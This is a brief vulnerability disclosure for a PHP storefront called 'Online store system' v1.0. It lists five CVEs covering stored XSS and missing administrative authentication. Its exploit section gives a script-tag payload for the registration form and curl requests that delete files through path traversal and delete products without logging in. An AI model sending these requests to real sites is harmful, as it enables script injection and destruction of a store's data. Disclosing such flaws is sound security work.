Multiple vulnerabilities in Online store system v1.0 Stored XSS and unauthenticated product deletions.
Store XSS and Authentication bypass
CVE ID(s):
CVE-2019-8288,
CVE-2019-8289,
CVE-2019-8290,
CVE-2019-8291,
CVE-2019-8292
Summary: Multiple stored XSS and lack of administrative authentication checks
Notified: 2019-09-18
Description:
"Online store system" is a drop in customizable electronic storefront. It has an administrative interface allowing user and product management.
Exploit:
Set login name or email to "><script>alert(1);</script> $ curl -s cookie.txt -X POST -d "username=jsmith&password=jsmith123&email=\"><script>alert(1);</script>%40email.com" http://example.com/pso/sent_register.php $ curl -s cookie.txt "http://example.com/pso/admin/delete_file.php?id=0&filename=../women.php" $ curl -s cookie.txt http://example.com/pso/admin/product_delete.php?id=4